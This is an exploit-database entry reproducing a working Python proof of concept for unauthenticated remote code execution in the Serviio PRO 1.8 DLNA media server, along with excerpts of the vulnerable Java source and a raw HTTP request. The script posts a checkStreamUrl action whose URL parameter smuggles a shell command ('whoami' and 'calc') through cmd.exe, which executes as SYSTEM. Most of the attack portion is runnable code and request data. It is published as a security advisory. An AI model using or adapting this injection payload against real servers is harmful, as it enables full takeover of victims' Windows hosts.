发布 2017-05-03 漏洞条目

Serviio PRO 1.8 DLNA Media Streaming Server – REST API Arbitrary Code Execution

Exploit Source

#!/usr/bin/env python

# Serviio PRO 1.8 DLNA Media Streaming Server REST API Arbitrary Code Execution

# Vendor: Petr Nejedly | Six Lines Ltd

# Product web page: http://www.serviio.org

# Affected version: 1.8.0.0 PRO, 1.7.1, 1.7.0, 1.6.1

# Summary: Serviio is a free media server. It allows you to stream your media

# files (music, video or images) to renderer devices (e.g. a TV set, Bluray player,

# games console or mobile phone) on your connected home network.

# Desc: The version of Serviio installed on the remote Windows host is affected by

# an unauthenticated remote code execution vulnerability due to improper access control

# enforcement of the Configuration REST API and unsanitized input when FFMPEGWrapper

# calls cmd.exe to execute system commands. A remote attacker can exploit this with a

# simple JSON request, gaining system access with SYSTEM privileges via a specially

# crafted request and escape sequence.

# =================================================================================

# org/serviio/ui/resources/server/ActionsServerResource.java:

# -----------------------------------------------------------

# private ResultRepresentation checkStreamUrl(ActionRepresentation representation) {

# this.validateParameters(representation, 2);

# try {

# MediaFileType fileType = MediaFileType.valueOf(representation.getParameters().get(0));

# String url = StringUtils.trim(representation.getParameters().get(1));

# LocalItemMetadata md = MetadataFactory.getMetadataInstance(fileType);

# DeliveryContext context = fileType == MediaFileType.VIDEO ? new VideoDeliveryContext(false, null) : new AudioDeliveryContext(false, null);

# FFmpegMetadataRetriever.retrieveOnlineMetadata(md, url, context);

# return this.responseOk();

# }

# catch (InvalidMediaFormatException e) {

# return this.responseOk(603);

# }

# =================================================================================

# serviio.jar / external / ProcessExecutor.java:

# ----------------------------------------------

# private Map<String, String> createWindowsRuntimeEnvironmentVariables() {

# HashMap<String, String> newEnv = new HashMap<String, String>();

# newEnv.putAll(System.getenv());

# ProcessExecutorParameter[] i18n = new ProcessExecutorParameter[this.commandArguments.length + 2];

# i18n[0] = new ProcessExecutorParameter("cmd");

# i18n[1] = new ProcessExecutorParameter("/C");

# for (int counter = 0; counter < this.commandArguments.length; ++counter) {

# ProcessExecutorParameter argument = this.commandArguments[counter];

# String envName = "JENV_" + counter;

# i18n[counter + 2] = new ProcessExecutorParameter("%" + envName + "%");

# boolean quotesNeededForWindows = this.quotesNeededForWindows(argument);

# if (!quotesNeededForWindows) {

# argument = new ProcessExecutorParameter(this.escapeAmpersandForWindows(argument.getValue()));

# }

# newEnv.put(envName, this.wrapInQuotes(argument, quotesNeededForWindows));

# }

# this.commandArguments = i18n;

# String[] tempPath = FileUtils.splitFilePathToDriveAndRest(System.getProperty("java.io.tmpdir"));

# newEnv.put("HOMEDRIVE", tempPath[0]);

# newEnv.put("HOMEPATH", tempPath[1]);

# newEnv.putAll(this.createFontConfigRuntimeEnvironmentVariables());

# if (log.isTraceEnabled()) {

# log.trace(String.format("Env variables: %s", newEnv.toString()));

# }

# return newEnv;

# }

# private String wrapInQuotes(ProcessExecutorParameter argument, boolean quotesNeeded) {

# return (quotesNeeded ? "\"" : "") + argument + (quotesNeeded ? "\"" : "");

# }

# protected boolean quotesNeededForWindows(ProcessExecutorParameter argument) {

# boolean quotesNeeded = argument.getValue().indexOf(" ") > -1;

# return quotesNeeded;

# }

# private String escapeAmpersandForWindows(String value) {

# return value.replaceAll("&", "^&");

# }

# =================================================================================

# Tested on: Restlet-Framework/2.2

# Windows 7, UPnP/1.0 DLNADOC/1.50, Serviio/1.8

# Java/1.8.0_121

# Java/1.8.0_111

# Java/1.8.0_91

# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

# @zeroscience

# Advisory ID: ZSL-2017-5408

# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5408.php

# SSD Advisory: https://blogs.securiteam.com/index.php/archives/3094

# 12.12.2016

# The PoC will create a file testingus3.txt in 'C:\Program Files\Serviio\bin' with whoami

# output in it and start a calc.exe child process as nt authority\system.

from urllib2 import Request, urlopen

import sys

if (len(sys.argv) <= 1):

print '[*] Usage: serviio_rce.py <ip address>'

exit(0)

host = sys.argv[1]

values = """

<name>checkStreamUrl</name>

<parameter>VIDEO</parameter>

<parameter>1.2.3.4'\"`&whoami >testingus3.txt&&calc&`'</parameter>

</action>"""

headers = {

'Content-Type': 'application/xml',

'Accept': 'application/xml'

}

request = Request('http://'+host+':23423/rest/action', data=values, headers=headers)

response_body = urlopen(request).read()

print response_body

'''

Raw request:

POST /rest/action HTTP/1.1

Host: 10.211.55.3:23423

Content-Length: 93

Accept: application/json, text/plain, */*

Origin: http://10.211.55.3:23423

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36

Content-Type: application/json;charset=UTF-8

Referer: http://10.211.55.3:23423/console/

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.8

DNT: 1

Connection: close

{"name":"checkStreamUrl","parameter":["VIDEO","1.2.3.4'\"`&whoami >testingus3.txt&&calc&`'"]}

'''

作者: LiquidWorm
日期: 2017-05-03
类别: webapps
平台: windows

相关漏洞条目

Prodigy Commerce 3.3.0 – Local File Inclusion

Langflow 1.3.0 – Remote Code Execution

Quick Playground for WordPress 1.3.1 – Unauthenticated Remote Code Execution

MikroORM 7.0.13 – SQL Injection